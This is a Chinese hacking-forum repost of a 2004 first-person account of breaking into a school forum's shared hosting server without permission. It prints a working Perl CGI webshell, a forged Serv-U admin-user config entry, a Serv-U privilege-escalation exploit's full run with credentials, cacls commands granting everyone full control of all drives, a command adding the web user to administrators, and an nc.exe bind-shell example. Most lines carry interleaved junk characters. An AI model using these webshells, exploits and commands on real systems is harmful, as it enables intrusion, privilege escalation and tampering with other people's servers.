找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2009|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击 - C! O9 Q+ W, O8 K3 b2 M# t* F
本文作者:angel# \( a' f8 J8 l' ]3 @" s4 D+ R9 l4 P
文章性质:原创+ ^- ^( G. b2 ?4 @  ?% ~2 W
发布日期:2004-11-09 " v) N  ?+ F5 ~4 h0 Z# [
注意:- A) ]% @- D$ S( M( D- s* p7 v
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。9 A$ t& }- h5 ~  \. z
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。2 R5 H4 c0 B% |) W( A
" g2 {! Z+ @' w$ T1 d' h
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 - j  w: \# z; Z6 m4 D2 P  G& n

4 ~; M/ e# t# n6 f0 W  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
9 c% t8 b6 h5 X( ?: n
4 Y& D1 m. r3 E  y3 [. S  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
$ I. }4 Y, v2 `8 i0 B0 O
$ p/ T6 X+ A3 b1 _* O  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
$ N" V& c1 t4 K. }- S1 w
1 V, U" G0 h: w, W0 k$ \  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
$ s; q& c$ j0 ^- W# |7 u" R3 G# Y6 l/ Z+ ]* {
  没有目的的跳转目录着…… 2 G& ]4 j. Y+ X) L2 M

# v. _# P7 y) w4 W" ]$ a+ s  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
3 R' e! J$ H9 f  ?
' u# U3 i* p. L- L7 h% |  结束了吗?不,我试着 FTP 一下: 5 s1 E: T: ^* }+ M$ p

4 |6 _' r; }: TMicrosoft Windows 2000 [Version 5.00.2195]
2 B& _8 M+ a- c(C) 版权所有 1985-2000 Microsoft Corp.
9 y5 \9 @$ u# W6 l3 n' q; W/ o6 s- m! o. ^$ M3 v
C:\Documents and Settings\Administrator>ftp www.school.com
" U' ~8 X- ^$ k1 P7 C; lConnected to www. school.com.
+ R( j) ^  Y& Q6 A0 N- N$ D220 Welcome to FTP Server... # J- E7 m, Y- o5 s: d
User (www.bjtrq.com:(none)):
1 @5 {# Z4 }; ]8 W) h3 N331 User name okay, need password.
% p- K0 D% u; Z; KPassword: ) @. s3 s* Z/ i8 j# [/ C) T4 T5 T
530 Not logged in. 4 X7 ?" {9 z' @( k
Login failed.
4 i* d* I$ \* c0 O5 w5 V' y' z6 tftp> bye . i. y, c/ n* u2 U& t5 f  P1 z: r( c
221 Goodbye! : Z4 S/ ]8 k/ ?: l) w+ Q9 G
: i6 V0 t# Z- G# ~7 D- ]
8 w4 V) {  q5 D/ Z$ R
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
5 W) c" ~1 k2 H9 X* ~
) C: @* z! e9 j  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
# d- N* r  E- [) s8 f7 o5 |4 m7 w
Application Data% R3 g' L! B) I  D. _5 p/ q
Documents
8 x8 C; h! X" d. GDRM
8 |7 Q# E* n+ B8 s9 t# L- T# I. GFavorites& G/ T. M" y: {
Templates; f3 O! ?; U  y6 K1 x% G
「开始」菜单
! x+ f1 T6 E. H, p+ `( W桌面
& R9 y7 ?2 S4 e0 s" W. N. q 6 ?: d6 b( C; |5 H9 z2 D* j

2 @7 i# d( N$ @. L4 J6 c  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, , T0 g* w8 n. q0 U2 @
& b, Y% W  s* i' t. ^/ V2 k
ActiveState ActivePerl 5.8( @  K% x1 |; \2 z+ s2 W
Administrative Tools5 o4 F4 X( P- @: |2 ~7 D0 d) P' }5 Z
Deerfield.com! D! F4 _$ O: S4 \& {$ U" Z
DTemp8 ?5 a0 a* d7 @6 {) ?
IPSentry
% k" \" n0 p) v( EMBM 50 T& {4 ~2 e) i9 N3 O
NetMeter
+ v8 ^! a/ X! o! @2 b# {( _Network ICE: X7 F+ ~, W) b8 H
Persits Software AspEmail
0 ?# x$ y' ]/ O' p7 rPersits Software AspJpeg! O  d; m3 A3 R3 K! g
Serv-U FTP Server
9 n% Q, o- x+ `2 ~" s+ BSymantec Client Security' C% a! m4 M1 g
Windows 优化大师* Q7 H- D( F8 Y" ^; @7 `
WinRAR, a2 u2 y4 [4 q& V& A  Z; @
启动
# B& G5 G7 S1 u7 R/ X# _1 o1 {管理工具
9 \/ [0 A/ P4 c2 X+ q7 z. d附件
" l7 y2 [( ?9 a( L; `$ O$ M8 H ) g9 }! V) `4 c- [
1 h# ]$ x/ L$ q+ B
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
9 {& ?  T# D* q+ ], U. T5 E* d/ h0 F: B7 J
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
" w. d+ @, E( a* Z, A. H
) x( h) ~7 x4 a1 \" @( T, y! RUser281=angel|1|0 1 X9 u" C# B& m$ Q

$ f- M& ~3 j1 `4 B" i$ `
5 C! I5 {  S3 d  然后加上
. h$ l5 j4 ~1 d5 j; \. H: M& ?. l5 V; w! X. L
[USER=angel|1]6 H0 H6 Y' }) M* r) E9 U
Password=ng98F85379EA68DBF97BAADCA99B69B805
. m7 U# ]) d5 S  Y- K2 MHomeDir=D:\websites
/ V* Z: s% N  q: S1 f+ p# wRelPaths=1
( x$ \; |0 s! P! c- BTimeOut=600
1 H) \, e$ p* oMaintenance=System
/ Q; q% A- u& o4 iAccess1=D:\websites|RWAMELCDP
5 z( \1 Y2 V: l  [2 y9 QSKEYValues=
  J, J. h- c' b1 n0 ]
4 p0 W! L0 r( B; A7 s! {9 y, B* Y' Y& r7 \7 g" [' j3 s, f
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
& [2 e7 T8 Y' d) y' k% A
- p7 g& w% a+ Q; g5 O# a  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
7 {. V' F3 [& u3 ^/ y  p0 a0 x" Q1 ]
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 + c; l) a% j; @0 N" \! d
  |( E! x# x; L
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: ! Z1 o- b2 C* K% @5 B& v3 ?0 `

& `' g2 c+ Q* Q7 s$ R8 X$ m#!/usr/bin/perl2 B- n( y: ^9 G% u  Z
binmode(STDOUT);6 o, Q" O. ~9 m) P  D
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);' a( j. O2 E- b# F* u( ~" E
$_ = $ENV{QUERY_STRING};8 o2 w$ w( k' z( g0 |* k. ]. j* p) N
s/%20/ /ig;
% E8 q* z( Z' r( y: H/ ?0 ?# V. zs/%2f/\//ig;- G& E5 m( J: w+ v5 M7 _9 I
$execthis = $_;
. o4 o9 Y# l3 ^syswrite(STDOUT, "<HTML><PRE>\r\n", 13);2 Q; t1 I  W7 F& a
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";4 j4 g# C2 E2 `5 }& [0 x
system($execthis);6 ?& r6 H8 D5 ~' Y
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);6 E1 q! I$ X& z
close(STDERR);" y7 E! O7 ]. f1 c' d  x
close(STDOUT);# `7 H4 D1 g( q% E
exit;
: X' G* v$ U  [4 {, _- ]
6 M% `% F5 g* W! ?7 g  N" s( S, A' e( W6 G- w' N
  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! 7 |: ]4 K& {  d; C! ]* p$ R8 a4 }
& E, e5 [: s5 g$ V  ~( `4 s
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
* l0 J; s6 C  \7 x3 k* L( Y4 n; G9 j
http://anyhost//cmd.pl?d:\user\bin\su.exe
6 f9 V3 t9 y) L8 p% u2 v 1 {9 o6 S# e, B' y- ?8 T
; H( c" C: p! y! q, H; R: B
  返回: + ]" I+ o: y- ?3 V7 ~2 P
) `6 I9 L& B9 F- U" i8 @# k
Serv-u >3.x Local Exploit by xiaolu
9 Y1 o+ ~! I0 b5 E% i, m+ m
/ r5 C3 r2 ?. Z1 [8 D: {/ cUSAGE: serv-u.exe "command"
' M3 C$ z4 l* @1 [2 S4 O9 F
6 |/ A; k4 @6 dExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" 9 F0 o) `2 o. Y6 G( S
+ H3 W7 ~5 u* h

( A$ m) n" v# \1 i5 }1 F  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
1 R; d& k# Q- ^- w) r- ~& ^5 W( Q6 Y( \' _: U/ m. O) U8 _
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
7 K+ V2 S  f2 y$ f: W
- K9 J6 |) S' G  _" a# g5 nhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" 6 k. S# K, f& ]7 P  T+ k

2 M6 F( V" N* `2 P# r& Ahttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
+ N# Z/ F+ l0 {  U5 D( B6 O: f+ u: o
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
4 `- V1 D4 b  U) ` ( o: X' J/ H  f" Z
+ ^3 W. h! [" R8 ]# C" l
  返回下面的信息,就表示成功了!!!
9 {5 C% C% i9 V) o  Y
" k4 O7 }9 `, T% A4 r1 CServ-u >3.x Local Exploit by xiaolu
( h& r% Z/ R# H# o  l( [' O$ `5 h1 l
<220 Serv-U FTP Server v5.2 for WinSock ready... 3 M- P  S6 h- \0 Z
% {" L% W6 n  H3 ~. n5 B% Z+ a
>USER LocalAdministrator , |5 G3 _- h; R$ a& z3 F

: Q3 H7 p& x/ n! d! z# R7 Q<331 User name okay, need password.
' ]* H7 _( W- e% i' M) M& F" l( i: {" ~1 [
****************************************************** % Z" T4 |% a' Y1 q

7 t. b9 P' o3 r0 S>PASS #l@$ak#.lk;0@P
' q2 Q: h) ?- |( }6 n2 N, h6 Q0 }5 y. R! r( ?$ }
<230 User logged in, proceed. $ J" k0 b* q. v5 J& p" \( N! e

4 e; ^  C6 L" U7 h+ G/ w- |% y******************************************************
6 P1 }: }0 K2 @* x: i( z
- c  V" v1 R, W" T: N>SITE MAINTENANCE 5 o! T, t: u3 Q; X& }# J5 E
" z  {- W5 }* O& X% C4 M0 F' u% [
****************************************************** + \! i$ j$ E3 u
" S0 I1 L3 S% v7 K2 R
[+] Creating New Domain... ) h, o) n) Z- G' ]$ }( s6 M# c: X

- p. J( a' x! `+ O) _<200-DomainID=2 # ^* B% o' o) N+ ?4 E

5 K0 Y5 m+ a/ [' T- f& h  @2 u# T<220 Domain settings saved
1 J! G/ W6 z) Q2 W) c7 t0 ?$ Y+ L3 m0 B' y2 @
****************************************************** " i& k, {$ q9 P! h( K
; l# w' g  d4 \6 N, S
[+] Domain xl:2 Created
$ z( l0 A- T( r! M) b7 K' Q/ `% H, l9 t' a+ m# V
[+] Creating Evil User
! Y4 u* y7 m8 a; E8 w0 L1 Y& J( X1 v* F. ?3 ~
<200-User=xl
5 N- o/ Q! E- q9 t9 A4 l$ N! r# C( K( h2 Y+ O/ [
200 User settings saved
# M- x3 d$ O8 p
6 c! t5 r/ ]% k/ ]$ C5 P) P9 t****************************************************** $ S; G+ N1 w# ]3 u* |/ ^6 R
: h. k6 s  F' R3 P: W% k
[+] Now Exploiting...   G3 s8 V% O" h5 Z! \

) X3 {% F2 q4 v& m>USER xl ) F# n, k- ^9 u; G

; [% r1 J& a7 y4 d! u& @7 y' H3 i<331 User name okay, need password.
8 ]/ }" x+ E) r; f% D0 w+ ^* u5 g. n# D7 ]1 ]
****************************************************** . u! H8 d# s. x: a

+ ]" e. }2 `( H0 D% B>PASS 111111
; o1 e4 h4 K% M5 c& z
/ y/ t8 P$ \+ _<230 User logged in, proceed.
/ [  R- a. S6 i( a
4 `( @& ]0 d, k****************************************************** , {6 L- D; O" I  x

" c. B; K2 |; F+ M4 p" d3 H[+] Now Executing: cacls.exe c: /E /T /G everyone:F
; O- A* R/ v* k5 V0 k& d, A: H, s9 h- z( k( u/ F9 N
<220 Domain deleted
" }- j+ u- g! k
3 Z8 B1 P- Y# c: _; x$ _9 X****************************************************** : j  r  R+ Y3 X% x7 e
0 u  }- K# h: O7 w) x  e

0 F  G( Q; J: H6 l( {- U3 a  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: 3 H1 V/ K4 o" A  k; ]7 i

& W: Y8 z; i, V4 o, s' dhttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
- f2 W9 ^% Z" M
, O8 _8 }8 B, Y' i
8 l6 ^; ^! @8 K' G  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
) |: r  C; {! }! e% I8 [2 O- W6 i* l9 k2 Z  M# d$ B4 d
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。* f* ^3 R& h6 w, {3 A5 D" V

7 Z; Y3 c7 Q1 r* F7 C( Z  
0 ~; B: X) U# p7 V" A1 R' `3 O$ N
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表